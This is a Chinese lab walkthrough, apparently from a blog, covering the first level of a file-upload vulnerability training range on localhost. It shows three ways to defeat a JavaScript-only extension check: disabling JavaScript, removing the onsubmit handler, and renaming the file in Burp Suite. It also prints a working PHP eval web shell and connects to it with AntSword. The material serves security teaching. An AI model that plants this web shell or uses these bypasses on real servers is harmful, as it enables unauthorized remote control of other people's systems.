前言
学习内容:前端JavaScript
验证
这个靶场唯一的一节前端验证的关卡,后面均是后端验证(即:需要抓包分析)
需求分析
打开靶场第一关,要求上传一张图片,但是我们需要上传木马文件,进而获取服务器权限。
靶场测试
当上传不符合要求的文件时,会提示报错信息,要求上传图片文件。
代码审计
按F12
查看网页源代码
- 在上传按钮处右键单击
- 在弹出的菜单中选择检查选项
- 在
F12
的查看器处可以看到对应的代码信息
将上图中红框中的代码复制出来,进行分析。
<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
<p>请选择要上传的图片:</p><p>
<input class="input_file" type="file" name="upload_file">
<input class="button" type="submit" name="submit" value="上传">
</p>
</form>
在代码的第一行的结尾处,可以看到,当进行表单提交时(onsubmit
),会执行函数checkFile()
。
切换到调试器,搜索一下,看一下可不可以找到checkFile()
函数的定义。
单击匹配到的checkFile()
函数,发现可以找到对应的源码定义。
checkFile()
源码分析
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name) == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
代码前五行,用于检查是否上传文件。
var allow_ext = ".jpg|.png|.gif";
定义了允许上传的文件类型
后面的代码是判断上传的文件的后缀名是否与allow_ext
定义的后缀信息是否匹配
- 匹配:允许上传
- 不匹配:不允许上传,返回
False
漏洞利用
方式一:禁用JS
按F12
打开调试器,找到设置选项
将禁用JavaScript
选项勾选上,默认有勾选。
上传木马
新建一个php
文件,写入一下内容:
// 字符串 x 是密码
<?php @eval($_POST['x']); ?>
将木马文件进行上传
右键单击上传的图片,然后选择新建标签页打开图像
获取木马文件的所在路径:http://127.0.0.1/upload/upload/muma.php
连接木马
打开蚁剑,连接木马文件。右键单击空白处->添加数据
设置URL地址和密码
设置完成后,单击左上角的添加按钮即可
双击即可连接远程服务器
方法二:删除HTML代码
按F12
找到form
标签中的onsubmit="return checkFile()"
,将这句代码删除掉
删除后的效果如下图所示:
上传木马文件
上传成功,查看木马网页所在位置
连接木马实现远程登录服务器
方式三:抓包修改请求信息
将上面新建的一句话木马文件的后缀名改为.jpg
(即将muma.php
改为muma.jpg
),内容保持不变。
打开Burp suite
,抓取上传信息
将上传文件的后缀名进行修改
将muma.jpg
改为muma.php
,修改完成后,单击Forward
按钮进行发送。(需要点击两次Forward
)
返回浏览器,看到文件成功上传。
PS:之所以修改后可以成功上传,是因为本关采用的是前端验证,后端没有进行任何的验证。
右键单击图片,查看木马文件所在的路径
查看木马文件所在路径:http://127.0.0.1/upload/upload/muma.php
使用蚁剑进行连接,过程与上面一致,不过多赘述,这里脂肪最后的效果图。
无情的广告时间
哈哈哈哈,又到了大家喜欢的广告时间了,公众号:编码魔坊
,喜欢的话给个关注呗,点击下方小卡片,扫码即可关注,谢谢您的关注!!!